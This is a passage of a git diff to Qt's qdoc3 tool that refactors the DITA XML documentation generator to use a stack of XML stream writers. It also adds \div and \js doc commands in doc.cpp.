marker, true, QString()); + + // not included: <example> or <apiImpl> + + xmlWriter().writeEndElement(); // </cxxVariableDetail> - writer.writeEndElement(); // </apiDesc> - writer.writeEndElement(); // </cxxVariableDetail> - writer.writeEndElement(); // </cxxVariable> + // not included: <related-links> + + xmlWriter().writeEndElement(); // </cxxVariable> } ++m; } } +/*! + This function outputs the nodes resulting from \variable commands. + */ void DitaXmlGenerator::writeDataMembers(const Section& s, - const ClassNode* cn, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { if ((*m)->type() == Node::Variable) { const VariableNode* vn = static_cast<const VariableNode*>(*m); - writer.writeStartElement(CXXVARIABLE); - writer.writeAttribute("id",vn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(vn->name()); - writer.writeEndElement(); // </apiName> + xmlWriter().writeStartElement(CXXVARIABLE); + xmlWriter().writeAttribute("id",vn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); + xmlWriter().writeStartElement("apiName"); + writeCharacters(vn->name()); + xmlWriter().writeEndElement(); // </apiName> generateBrief(vn,marker); - writer.writeStartElement(CXXVARIABLEDETAIL); - writer.writeStartElement(CXXVARIABLEDEFINITION); - writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER); - writer.writeAttribute("value",vn->accessString()); - writer.writeEndElement(); // <cxxVariableAccessSpecifier> + + // not included: <prolog> + + xmlWriter().writeStartElement(CXXVARIABLEDETAIL); + xmlWriter().writeStartElement(CXXVARIABLEDEFINITION); + xmlWriter().writeStartElement(CXXVARIABLEACCESSSPECIFIER); + xmlWriter().writeAttribute("value",vn->accessString()); + xmlWriter().writeEndElement(); // <cxxVariableAccessSpecifier> + + // not included: <cxxVAriableStorageClassSpecifierExtern> if (vn->isStatic()) { - writer.writeStartElement(CXXVARIABLESTORAGECLASSSPECIFIERSTATIC); - writer.writeAttribute("name","static"); - writer.writeAttribute("value","static"); - writer.writeEndElement(); // <cxxVariableStorageClassSpecifierStatic> + xmlWriter().writeStartElement(CXXVARIABLESTORAGECLASSSPECIFIERSTATIC); + xmlWriter().writeAttribute("name","static"); + xmlWriter().writeAttribute("value","static"); + xmlWriter().writeEndElement(); // <cxxVariableStorageClassSpecifierStatic> } - writer.writeStartElement(CXXVARIABLEDECLAREDTYPE); - writer.writeCharacters(vn->leftType()); + // not included: <cxxVAriableStorageClassSpecifierMutable>, + // <cxxVariableConst>, <cxxVariableVolatile> + + xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE); + writeCharacters(vn->leftType()); if (!vn->rightType().isEmpty()) - writer.writeCharacters(vn->rightType()); - writer.writeEndElement(); // <cxxVariableDeclaredType> + writeCharacters(vn->rightType()); + xmlWriter().writeEndElement(); // <cxxVariableDeclaredType> QString fq = fullQualification(vn); if (!fq.isEmpty()) { - writer.writeStartElement(CXXVARIABLESCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // <cxxVariableScopedName> + xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME); + writeCharacters(fq); + xmlWriter().writeEndElement(); // <cxxVariableScopedName> } - writer.writeStartElement(CXXVARIABLEPROTOTYPE); - writer.writeCharacters(vn->leftType() + " "); - //writer.writeCharacters(vn->parent()->name() + "::" + vn->name()); - writer.writeCharacters(vn->name()); + xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE); + writeCharacters(vn->leftType() + " "); + //writeCharacters(vn->parent()->name() + "::" + vn->name()); + writeCharacters(vn->name()); if (!vn->rightType().isEmpty()) - writer.writeCharacters(vn->rightType()); - writer.writeEndElement(); // <cxxVariablePrototype> + writeCharacters(vn->rightType()); + xmlWriter().writeEndElement(); // <cxxVariablePrototype> + + xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP); + writeCharacters(vn->parent()->name() + "::" + vn->name()); + xmlWriter().writeEndElement(); // <cxxVariableNameLookup> - writer.writeStartElement(CXXVARIABLENAMELOOKUP); - writer.writeCharacters(vn->parent()->name() + "::" + vn->name()); - writer.writeEndElement(); // <cxxVariableNameLookup> + // not included: <cxxVariableReimplemented> writeLocation(vn); - writer.writeEndElement(); // <cxxVariableDefinition> - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // <cxxVariableDefinition> - if (!vn->doc().isEmpty()) { - generateBody(vn, marker); - } + writeDetailedDescription(vn, marker, true, QString()); + + // not included: <example> or <apiImpl> + + xmlWriter().writeEndElement(); // </cxxVariableDetail> + + // not included: <related-links> - writer.writeEndElement(); // </apiDesc> - writer.writeEndElement(); // </cxxVariableDetail> - writer.writeEndElement(); // </cxxVariable> + xmlWriter().writeEndElement(); // </cxxVariable> } ++m; } } +/*! + This function writes a \macro as a <cxxDefine>. + */ void DitaXmlGenerator::writeMacros(const Section& s, - const ClassNode* cn, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { if ((*m)->type() == Node::Function) { const FunctionNode* fn = static_cast<const FunctionNode*>(*m); if (fn->isMacro()) { - writer.writeStartElement(CXXDEFINE); - writer.writeAttribute("id",fn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(fn->name()); - writer.writeEndElement(); // </apiName> + xmlWriter().writeStartElement(CXXDEFINE); + xmlWriter().writeAttribute("id",fn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); + xmlWriter().writeStartElement("apiName"); + writeCharacters(fn->name()); + xmlWriter().writeEndElement(); // </apiName> generateBrief(fn,marker); - writer.writeStartElement(CXXDEFINEDETAIL); - writer.writeStartElement(CXXDEFINEDEFINITION); - writer.writeStartElement(CXXDEFINEACCESSSPECIFIER); - writer.writeAttribute("value",fn->accessString()); - writer.writeEndElement(); // <cxxDefineAccessSpecifier> + + // not included: <prolog> + + xmlWriter().writeStartElement(CXXDEFINEDETAIL); + xmlWriter().writeStartElement(CXXDEFINEDEFINITION); + xmlWriter().writeStartElement(CXXDEFINEACCESSSPECIFIER); + xmlWriter().writeAttribute("value",fn->accessString()); + xmlWriter().writeEndElement(); // <cxxDefineAccessSpecifier> - writer.writeStartElement(CXXDEFINEPROTOTYPE); - writer.writeCharacters("#define "); - writer.writeCharacters(fn->name()); + xmlWriter().writeStartElement(CXXDEFINEPROTOTYPE); + xmlWriter().writeCharacters("#define "); + writeCharacters(fn->name()); if (fn->metaness() == FunctionNode::MacroWithParams) { QStringList params = fn->parameterNames(); if (!params.isEmpty()) { - writer.writeCharacters("("); + xmlWriter().writeCharacters("("); for (int i = 0; i < params.size(); ++i) { if (params[i].isEmpty()) - writer.writeCharacters("..."); + xmlWriter().writeCharacters("..."); else - writer.writeCharacters(params[i]); + writeCharacters(params[i]); if ((i+1) < params.size()) - writer.writeCharacters(", "); + xmlWriter().writeCharacters(", "); } - writer.writeCharacters(")"); + xmlWriter().writeCharacters(")"); } } - writer.writeEndElement(); // <cxxDefinePrototype> + xmlWriter().writeEndElement(); // <cxxDefinePrototype> - writer.writeStartElement(CXXDEFINENAMELOOKUP); - writer.writeCharacters(fn->name()); - writer.writeEndElement(); // <cxxDefineNameLookup> + xmlWriter().writeStartElement(CXXDEFINENAMELOOKUP); + writeCharacters(fn->name()); + xmlWriter().writeEndElement(); // <cxxDefineNameLookup> if (fn->reimplementedFrom() != 0) { FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom(); - writer.writeStartElement(CXXDEFINEREIMPLEMENTED); - writer.writeAttribute("href",rfn->ditaXmlHref()); - writer.writeCharacters(marker->plainFullName(rfn)); - writer.writeEndElement(); // </cxxDefineReimplemented> + xmlWriter().writeStartElement(CXXDEFINEREIMPLEMENTED); + xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); + writeCharacters(marker->plainFullName(rfn)); + xmlWriter().writeEndElement(); // </cxxDefineReimplemented> } if (fn->metaness() == FunctionNode::MacroWithParams) { QStringList params = fn->parameterNames(); if (!params.isEmpty()) { - writer.writeStartElement(CXXDEFINEPARAMETERS); + xmlWriter().writeStartElement(CXXDEFINEPARAMETERS); for (int i = 0; i < params.size(); ++i) { - writer.writeStartElement(CXXDEFINEPARAMETER); - writer.writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME); - writer.writeCharacters(params[i]); - writer.writeEndElement(); // <cxxDefineParameterDeclarationName> - writer.writeEndElement(); // <cxxDefineParameter> + xmlWriter().writeStartElement(CXXDEFINEPARAMETER); + xmlWriter().writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME); + writeCharacters(params[i]); + xmlWriter().writeEndElement(); // <cxxDefineParameterDeclarationName> + + // not included: <apiDefNote> + + xmlWriter().writeEndElement(); // <cxxDefineParameter> } - writer.writeEndElement(); // <cxxDefineParameters> + xmlWriter().writeEndElement(); // <cxxDefineParameters> } } writeLocation(fn); - writer.writeEndElement(); // <cxxDefineDefinition> - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // <cxxDefineDefinition> - if (!fn->doc().isEmpty()) { - generateBody(fn, marker); - } + writeDetailedDescription(fn, marker, true, QString()); + + // not included: <example> or <apiImpl> - writer.writeEndElement(); // </apiDesc> - writer.writeEndElement(); // </cxxDefineDetail> - writer.writeEndElement(); // </cxxDefine> + xmlWriter().writeEndElement(); // </cxxDefineDetail> + + // not included: <related-links> + + xmlWriter().writeEndElement(); // </cxxDefine> } } ++m; } } -void DitaXmlGenerator::writePropParams(const QString& tag, const NodeList& nlist) +/*! + This function writes one parameter of a Q_PROPERTY macro. + The property is identified by \a tag ("READ" "WRIE" etc), + and it is found in the 'a nlist. + */ +void DitaXmlGenerator::writePropertyParameter(const QString& tag, const NodeList& nlist) { NodeList::const_iterator n = nlist.begin(); while (n != nlist.end()) { - writer.writeCharacters(" "); - writer.writeCharacters(tag); - writer.writeCharacters(" "); - writer.writeCharacters((*n)->name()); + xmlWriter().writeCharacters(" "); + writeCharacters(tag); + xmlWriter().writeCharacters(" "); + writeCharacters((*n)->name()); ++n; } } +/*! + Calls beginSubPage() in the base class to open the file. + Then creates a new XML stream writer using the IO device + from opened file and pushes the XML writer onto a stackj. + Creates the file named \a fileName in the output directory. + Attaches a QTextStream to the created file, which is written + to all over the place using out(). Finally, it sets some + parameters in the XML writer and calls writeStartDocument(). + */ +void DitaXmlGenerator::beginSubPage(const Location& location, + const QString& fileName) +{ + PageGenerator::beginSubPage(location,fileName); + (void) lookupGuidMap(fileName); + QXmlStreamWriter* writer = new QXmlStreamWriter(out().device()); + xmlWriterStack.push(writer); + writer->setAutoFormatting(true); + writer->setAutoFormattingIndent(4); + writer->writeStartDocument(); +} + +/*! + Calls writeEndDocument() and then pops the XML stream writer + off the stack and deletes it. Then it calls endSubPage() in + the base class to close the device. + */ +void DitaXmlGenerator::endSubPage() +{ + xmlWriter().writeEndDocument(); + delete xmlWriterStack.pop(); + PageGenerator::endSubPage(); +} + +/*! + Returns a reference to the XML stream writer currently in use. + There is one XML stream writer open for each XML file being + written, and they are kept on a stack. The one on top of the + stack is the one being written to at the moment. + */ +QXmlStreamWriter& DitaXmlGenerator::xmlWriter() +{ + return *xmlWriterStack.top(); +} + +/*! + Writes the \e {Detailed Description} section(s) for \a node to the + current XML stream using the code \a marker. if the \a apiDesc flag + is true, then the first section of the sequence of sections written + will be an \c {apiDesc>} element with a \e {spectitle} attribute of + \e {Detailed Description}. Otherwise, the first section will be a + \c {<section>} element with a \c {<title>} element of \e {Detailed + Description}. This function calls the Generator::generateBody() + function to write the XML for the section list. + */ +void DitaXmlGenerator::writeDetailedDescription(const Node* node, + CodeMarker* marker, + bool apiDesc, + const QString& title) +{ + if (!node->doc().isEmpty()) { + inDetailedDescription = true; + if (apiDesc) { + inApiDesc = true; + xmlWriter().writeStartElement("apiDesc"); + if (!title.isEmpty()) { + writeGuidAttribute(title); + xmlWriter().writeAttribute("spectitle",title); + } + else + writeGuidAttribute("Detailed Description"); + xmlWriter().writeAttribute("outputclass","details"); + } + else { + inSection = true; + xmlWriter().writeStartElement("section"); + if (!title.isEmpty()) { + writeGuidAttribute(title); + xmlWriter().writeAttribute("outputclass","details"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + writeCharacters(title); + xmlWriter().writeEndElement(); // </title> + } + else { + writeGuidAttribute("Detailed Description"); + xmlWriter().writeAttribute("outputclass","details"); + } + } + generateBody(node, marker); + if (inApiDesc) { + xmlWriter().writeEndElement(); // </apiDesc> + inApiDesc = false; + } + else if (inSection) { + xmlWriter().writeEndElement(); // </section> + inSection = false; + } + } + inDetailedDescription = false; +} + +/*! + Write the nested class elements. + */ +void DitaXmlGenerator::writeNestedClasses(const Section& s, + const Node* n) +{ + if (s.members.isEmpty()) + return; + xmlWriter().writeStartElement("cxxClassNested"); + xmlWriter().writeStartElement("cxxClassNestedDetail"); + + NodeList::ConstIterator m = s.members.begin(); + while (m != s.members.end()) { + if ((*m)->type() == Node::Class) { + xmlWriter().writeStartElement("cxxClassNestedClass"); + QString link = linkForNode((*m), n); + xmlWriter().writeAttribute("href", link); + QString name = n->name() + "::" + (*m)->name(); + writeCharacters(name); + xmlWriter().writeEndElement(); // <cxxClassNestedClass> + } + ++m; + } + xmlWriter().writeEndElement(); // <cxxClassNestedDetail> + xmlWriter().writeEndElement(); // <cxxClassNested> +} + +/*! + Recursive writing of DITA XML files from the root \a node. + */ +void +DitaXmlGenerator::generateInnerNode(const InnerNode* node) +{ + if (!node->url().isNull()) + return; + + if (node->type() == Node::Fake) { + const FakeNode *fakeNode = static_cast<const FakeNode *>(node); + if (fakeNode->subType() == Node::ExternalPage) + return; + if (fakeNode->subType() == Node::Image) + return; + if (fakeNode->subType() == Node::QmlPropertyGroup) + return; + if (fakeNode->subType() == Node::Page) { + if (node->count() > 0) + qDebug("PAGE %s HAS CHILDREN", qPrintable(fakeNode->title())); + } + } + + /* + Obtain a code marker for the source file. + */ + CodeMarker *marker = CodeMarker::markerForFileName(node->location().filePath()); + + if (node->parent() != 0) { + beginSubPage(node->location(), fileName(node)); + if (node->type() == Node::Namespace || node->type() == Node::Class) { + generateClassLikeNode(node, marker); + } + else if (node->type() == Node::Fake) { + if (node->subType() == Node::HeaderFile) + generateClassLikeNode(node, marker); + else if (node->subType() == Node::QmlClass) + generateClassLikeNode(node, marker); + else + generateFakeNode(static_cast<const FakeNode*>(node), marker); + } + endSubPage(); + } + + NodeList::ConstIterator c = node->childNodes().begin(); + while (c != node->childNodes().end()) { + if ((*c)->isInnerNode() && (*c)->access() != Node::Private) + generateInnerNode((const InnerNode*) *c); + ++c; + } +} + +/*! + Returns true if \a format is "XML" or "HTML" . + */ +bool DitaXmlGenerator::canHandleFormat(const QString& format) +{ + return (format == "HTML") || (format == this->format()); +} + +void DitaXmlGenerator::writeDitaMap() +{ + beginSubPage(Location(),"qt-dita-map.xml"); + + QString doctype; + doctype = "<!DOCTYPE cxxAPIMap PUBLIC \"-//NOKIA//DTD DITA C++ API Map Reference Type v0.6.0//EN\" \"dtd/cxxAPIMap.dtd\">"; + + xmlWriter().writeDTD(doctype); + xmlWriter().writeStartElement("cxxAPIMap"); + xmlWriter().writeAttribute("id","Qt-DITA-Map"); + xmlWriter().writeAttribute("title","Qt DITA Map"); + xmlWriter().writeStartElement("topicmeta"); + xmlWriter().writeStartElement("shortdesc"); + xmlWriter().writeCharacters("The top level map for the Qt documentation"); + xmlWriter().writeEndElement(); // </shortdesc> + xmlWriter().writeEndElement(); // </topicmeta> + GuidMaps::iterator i = guidMaps.begin(); + while (i != guidMaps.end()) { + xmlWriter().writeStartElement("topicref"); + xmlWriter().writeAttribute("href",i.key()); + xmlWriter().writeAttribute("type","topic"); + xmlWriter().writeEndElement(); // </topicref> + ++i; + } + endSubPage(); +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index eac0a82..4aae657 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -39,10 +39,6 @@ ** ****************************************************************************/ -/* - ditaxmlgenerator.h -*/ - #ifndef DITAXMLGENERATOR_H #define DITAXMLGENERATOR_H @@ -61,7 +57,8 @@ typedef QMap<Node*, NodeMultiMap> ParentMaps; typedef QMap<QString, const Node*> NodeMap; typedef QMap<QString, NodeMap> NewClassMaps; -class HelpProjectWriter; +typedef QMap<QString, QString> GuidMap; +typedef QMap<QString, GuidMap*> GuidMaps; class DitaXmlGenerator : public PageGenerator { @@ -91,110 +88,111 @@ class DitaXmlGenerator : public PageGenerator virtual void initializeGenerator(const Config& config); virtual void terminateGenerator(); virtual QString format(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); + virtual bool canHandleFormat(const QString& format); + virtual void generateTree(const Tree *tree); - QString protectEnc(const QString &string); - static QString protect(const QString &string, const QString &encoding = "ISO-8859-1"); + QString protectEnc(const QString& string); + static QString protect(const QString& string, const QString& encoding = "ISO-8859-1"); static QString cleanRef(const QString& ref); static QString sinceTitle(int i) { return sinceTitles[i]; } protected: - virtual void startText(const Node *relative, CodeMarker *marker); - virtual int generateAtom(const Atom *atom, - const Node *relative, - CodeMarker *marker); - virtual void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker); - virtual void generateFakeNode(const FakeNode *fake, CodeMarker *marker); - virtual QString fileExtension(const Node *node) const; - virtual QString refForNode(const Node *node); - virtual QString linkForNode(const Node *node, const Node *relative); - virtual QString refForAtom(Atom *atom, const Node *node); + virtual void startText(const Node* relative, CodeMarker* marker); + virtual int generateAtom(const Atom* atom, + const Node* relative, + CodeMarker* marker); + virtual void generateClassLikeNode(const InnerNode* inner, CodeMarker* marker); + virtual void generateFakeNode(const FakeNode* fake, CodeMarker* marker); + virtual QString fileExtension(const Node* node) const; + virtual QString refForNode(const Node* node); + virtual QString guidForNode(const Node* node); + virtual QString linkForNode(const Node* node, const Node* relative); + virtual QString refForAtom(Atom* atom, const Node* node); + void writeXrefListItem(const QString& link, const QString& text); QString fullQualification(const Node* n); + void writeCharacters(const QString& text); void writeDerivations(const ClassNode* cn, CodeMarker* marker); void writeLocation(const Node* n); void writeFunctions(const Section& s, - const ClassNode* cn, - CodeMarker* marker); - void writeParameters(const FunctionNode* fn, CodeMarker* marker); + const Node* n, + CodeMarker* marker, + const QString& attribute = QString()); + void writeNestedClasses(const Section& s, const Node* n); + void writeParameters(const FunctionNode* fn); void writeEnumerations(const Section& s, - const ClassNode* cn, - CodeMarker* marker); + CodeMarker* marker, + const QString& attribute = QString()); void writeTypedefs(const Section& s, - const ClassNode* cn, - CodeMarker* marker); + CodeMarker* marker, + const QString& attribute = QString()); void writeDataMembers(const Section& s, - const ClassNode* cn, - CodeMarker* marker); + CodeMarker* marker, + const QString& attribute = QString()); void writeProperties(const Section& s, - const ClassNode* cn, - CodeMarker* marker); + CodeMarker* marker, + const QString& attribute = QString()); void writeMacros(const Section& s, - const ClassNode* cn, - CodeMarker* marker); - void writePropParams(const QString& tag, const NodeList& nlist); + CodeMarker* marker, + const QString& attribute = QString()); + void writePropertyParameter(const QString& tag, const NodeList& nlist); + void writeRelatedLinks(const FakeNode* fake, CodeMarker* marker); + void writeLink(const Node* node, const QString& tex, const QString& role); private: enum SubTitleSize { SmallSubTitle, LargeSubTitle }; - const QPair<QString,QString> anchorForNode(const Node *node); - const Node *findNodeForTarget(const QString &target, - const Node *relative, - CodeMarker *marker, - const Atom *atom = 0); - void generateBreadCrumbs(const QString& title, - const Node *node, - CodeMarker *marker); - void generateHeader(const Node* node); - void generateTitle(const QString& title, - const Text &subTitle, - SubTitleSize subTitleSize, - const Node *relative, - CodeMarker *marker); + const QPair<QString,QString> anchorForNode(const Node* node); + const Node* findNodeForTarget(const QString& target, + const Node* relative, + CodeMarker* marker, + const Atom* atom = 0); + void generateHeader(const Node* node, + const QString& name, + bool subpage = false); void generateBrief(const Node* node, CodeMarker* marker); - void generateIncludes(const InnerNode *inner, CodeMarker *marker); - void generateTableOfContents(const Node *node, - CodeMarker *marker, + void generateIncludes(const InnerNode* inner, CodeMarker* marker); + void generateTableOfContents(const Node* node, + CodeMarker* marker, Doc::SectioningUnit sectioningUnit, int numColumns, - const Node *relative = 0); - void generateTableOfContents(const Node *node, - CodeMarker *marker, + const Node* relative = 0); + void generateTableOfContents(const Node* node, + CodeMarker* marker, QList<Section>* sections = 0); - QString generateListOfAllMemberFile(const InnerNode *inner, CodeMarker *marker); - QString generateLowStatusMemberFile(const InnerNode *inner, - CodeMarker *marker, + void generateLowStatusMembers(const InnerNode* inner, + CodeMarker* marker, + CodeMarker::Status status); + QString generateLowStatusMemberFile(const InnerNode* inner, + CodeMarker* marker, CodeMarker::Status status); - void generateClassHierarchy(const Node *relative, - CodeMarker *marker, - const NodeMap &classMap); - void generateAnnotatedList(const Node *relative, - CodeMarker *marker, - const NodeMap &nodeMap); - void generateCompactList(const Node *relative, - CodeMarker *marker, - const NodeMap &classMap, + void generateClassHierarchy(const Node* relative, + CodeMarker* marker, + const NodeMap& classMap); + void generateAnnotatedList(const Node* relative, + CodeMarker* marker, + const NodeMap& nodeMap); + void generateCompactList(const Node* relative, + CodeMarker* marker, + const NodeMap& classMap, bool includeAlphabet, QString commonPrefix = QString()); - void generateFunctionIndex(const Node *relative, CodeMarker *marker); - void generateLegaleseList(const Node *relative, CodeMarker *marker); - void generateOverviewList(const Node *relative, CodeMarker *marker); - void generateSectionList(const Section& section, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style); + void generateFunctionIndex(const Node* relative, CodeMarker* marker); + void generateLegaleseList(const Node* relative, CodeMarker* marker); + void generateOverviewList(const Node* relative, CodeMarker* marker); + #ifdef QDOC_QML void generateQmlSummary(const Section& section, - const Node *relative, - CodeMarker *marker); - void generateQmlItem(const Node *node, - const Node *relative, - CodeMarker *marker, + const Node* relative, + CodeMarker* marker); + void generateQmlItem(const Node* node, + const Node* relative, + CodeMarker* marker, bool summary); - void generateDetailedQmlMember(const Node *node, - const InnerNode *relative, - CodeMarker *marker); + void generateDetailedQmlMember(const Node* node, + const InnerNode* relative, + CodeMarker* marker); void generateQmlInherits(const QmlClassNode* cn, CodeMarker* marker); void generateQmlInheritedBy(const QmlClassNode* cn, CodeMarker* marker); void generateQmlInstantiates(const QmlClassNode* qcn, CodeMarker* marker); @@ -202,41 +200,31 @@ class DitaXmlGenerator : public PageGenerator #endif void generateSection(const NodeList& nl, - const Node *relative, - CodeMarker *marker, + const Node* relative, + CodeMarker* marker, CodeMarker::SynopsisStyle style); - void generateSynopsis(const Node *node, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style, - bool nameAlignment = false); + QString getMarkedUpSynopsis(const Node* node, + const Node* relative, + CodeMarker* marker, + CodeMarker::SynopsisStyle style); void generateSectionInheritedList(const Section& section, - const Node *relative, - CodeMarker *marker, - bool nameAlignment = false); - QString highlightedCode(const QString& markedCode, - CodeMarker *marker, - const Node *relative, - CodeMarker::SynopsisStyle style = CodeMarker::Accessors, - bool nameAlignment = false); + const Node* relative, + CodeMarker* marker); + void writeText(const QString& markedCode, + CodeMarker* marker, + const Node* relative); - void generateFullName(const Node *apparentNode, - const Node *relative, - CodeMarker *marker, - const Node *actualNode = 0); - void generateDetailedMember(const Node *node, - const InnerNode *relative, - CodeMarker *marker); - void generateLink(const Atom *atom, - const Node *relative, - CodeMarker *marker); - void generateStatus(const Node *node, CodeMarker *marker); + void generateFullName(const Node* apparentNode, + const Node* relative, + CodeMarker* marker, + const Node* actualNode = 0); + void generateLink(const Atom* atom, + const Node* relative, + CodeMarker* marker); + void generateStatus(const Node* node, CodeMarker* marker); QString registerRef(const QString& ref); - QString fileBase(const Node *node); -#if 0 - QString fileBase(const Node *node, const SectionIterator& section); -#endif + QString fileBase(const Node *node) const; QString fileName(const Node *node); void findAllClasses(const InnerNode *node); void findAllFunctions(const InnerNode *node); @@ -248,38 +236,42 @@ class DitaXmlGenerator : public PageGenerator virtual QString getLink(const Atom *atom, const Node *relative, CodeMarker *marker, - const Node** node); - virtual void generateIndex(const QString &fileBase, - const QString &url, - const QString &title); + const Node **node); + virtual void generateIndex(const QString& fileBase, + const QString& url, + const QString& title); #ifdef GENERATE_MAC_REFS - void generateMacRef(const Node *node, CodeMarker *marker); + void generateMacRef(const Node* node, CodeMarker* marker); #endif - void beginLink(const QString &link, - const Node *node, - const Node *relative, - CodeMarker *marker); + void beginLink(const QString& link); void endLink(); - bool generatePageElement(QXmlStreamWriter& writer, - const Node* node, - CodeMarker* marker) const; - void generatePageElements(QXmlStreamWriter& writer, - const Node* node, - CodeMarker* marker) const; - void generatePageIndex(const QString& fileName, - CodeMarker* marker) const; QString writeGuidAttribute(QString text); + void writeGuidAttribute(Node* node); QString lookupGuid(QString text); + QString lookupGuid(const QString& fileName, const QString& text); + GuidMap* lookupGuidMap(const QString& fileName); + virtual void beginSubPage(const Location& location, const QString& fileName); + virtual void endSubPage(); + virtual void generateInnerNode(const InnerNode* node); + QXmlStreamWriter& xmlWriter(); + void writeDetailedDescription(const Node* node, + CodeMarker* marker, + bool apiDesc, + const QString& title); + void addLink(const QString& href, const QStringRef& text); + void writeDitaMap(); private: QMap<QString, QString> refMap; QMap<QString, QString> name2guidMap; + GuidMaps guidMaps; int codeIndent; bool inLink; bool inObsoleteLink; bool inContents; bool inSectionHeading; bool inTableHeader; + bool inTableBody; int numTableRows; bool threeColumnEnumValueTable; bool offlineDocs; @@ -298,10 +290,10 @@ class DitaXmlGenerator : public PageGenerator QString navigationLinks; QStringList stylesheets; QStringList customHeadElements; - const Tree *myTree; - bool slow; + const Tree* myTree; bool obsoleteLinks; - int noLinks; + bool noLinks; + int tableColumnCount; QMap<QString, NodeMap > moduleClassMap; QMap<QString, NodeMap > moduleNamespaceMap; NodeMap nonCompatClasses; @@ -314,13 +306,18 @@ class DitaXmlGenerator : public PageGenerator NodeMap qmlClasses; #endif QMap<QString, NodeMap > funcIndex; - QMap<Text, const Node *> legaleseTexts; + QMap<Text, const Node*> legaleseTexts; NewSinceMaps newSinceMaps; static QString sinceTitles[]; NewClassMaps newClassMaps; NewClassMaps newQmlClassMaps; static int id; - QXmlStreamWriter writer; + static bool inApiDesc; + static bool inSection; + static bool inDetailedDescription; + static bool inLegaleseText; + + QStack<QXmlStreamWriter*> xmlWriterStack; }; #define DITAXMLGENERATOR_ADDRESS "address" @@ -335,4 +332,3 @@ class DitaXmlGenerator : public PageGenerator QT_END_NAMESPACE #endif - diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 205f3c5..a730799 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -48,7 +48,6 @@ #include "text.h" #include "tokenizer.h" #include <qdatetime.h> -#include <qdebug.h> #include <qfile.h> #include <qfileinfo.h> #include <qhash.h> @@ -75,11 +74,11 @@ struct Macro enum { CMD_A, CMD_ABSTRACT, CMD_ANNOTATEDLIST, CMD_BADCODE, CMD_BASENAME, CMD_BOLD, CMD_BRIEF, CMD_C, CMD_CAPTION, - CMD_CHAPTER, CMD_CODE, CMD_CODELINE, CMD_DOTS, CMD_ELSE, - CMD_ENDABSTRACT, CMD_ENDCHAPTER, CMD_ENDCODE, - CMD_ENDFOOTNOTE, CMD_ENDIF, CMD_ENDLEGALESE, CMD_ENDLINK, - CMD_ENDLIST, CMD_ENDOMIT, CMD_ENDPART, CMD_ENDQUOTATION, - CMD_ENDRAW, CMD_ENDSECTION1, CMD_ENDSECTION2, + CMD_CHAPTER, CMD_CODE, CMD_CODELINE, CMD_DIV, CMD_DOTS, + CMD_ELSE, CMD_ENDABSTRACT, CMD_ENDCHAPTER, CMD_ENDCODE, + CMD_ENDDIV, CMD_ENDFOOTNOTE, CMD_ENDIF, CMD_ENDLEGALESE, + CMD_ENDLINK, CMD_ENDLIST, CMD_ENDOMIT, CMD_ENDPART, + CMD_ENDQUOTATION, CMD_ENDRAW, CMD_ENDSECTION1, CMD_ENDSECTION2, CMD_ENDSECTION3, CMD_ENDSECTION4, CMD_ENDSIDEBAR, CMD_ENDTABLE, CMD_EXPIRE, CMD_FOOTNOTE, CMD_GENERATELIST, CMD_GRANULARITY, CMD_HEADER, CMD_I, CMD_IF, CMD_IMAGE, @@ -97,6 +96,7 @@ enum { #ifdef QDOC_QML CMD_QML, CMD_ENDQML, CMD_CPP, CMD_ENDCPP, CMD_QMLTEXT, CMD_ENDQMLTEXT, CMD_CPPTEXT, CMD_ENDCPPTEXT, + CMD_JS, CMD_ENDJS, #endif NOT_A_CMD }; @@ -118,11 +118,13 @@ static struct { { "chapter", CMD_CHAPTER, 0 }, { "code", CMD_CODE, 0 }, { "codeline", CMD_CODELINE, 0}, + { "div", CMD_DIV, 0 }, { "dots", CMD_DOTS, 0 }, { "else", CMD_ELSE, 0 }, { "endabstract", CMD_ENDABSTRACT, 0 }, { "endchapter", CMD_ENDCHAPTER, 0 }, { "endcode", CMD_ENDCODE, 0 }, + { "enddiv", CMD_ENDDIV, 0 }, { "endfootnote", CMD_ENDFOOTNOTE, 0 }, { "endif", CMD_ENDIF, 0 }, { "endlegalese", CMD_ENDLEGALESE, 0 }, @@ -201,6 +203,8 @@ static struct { { "endqmltext", CMD_ENDQMLTEXT, 0 }, { "cpptext", CMD_CPPTEXT, 0 }, { "endcpptext", CMD_ENDCPPTEXT, 0 }, + { "js", CMD_JS, 0 }, + { "endjs", CMD_ENDJS, 0 }, #endif { 0, 0, 0 } }; @@ -225,13 +229,13 @@ class DocPrivateExtra QStringMap metaMap; DocPrivateExtra() - : granularity(Doc::Part) { } + : granularity(Doc::Part) { } }; struct Shared // ### get rid of { Shared() - : count(1) { } + : count(1) { } void ref() { ++count; } bool 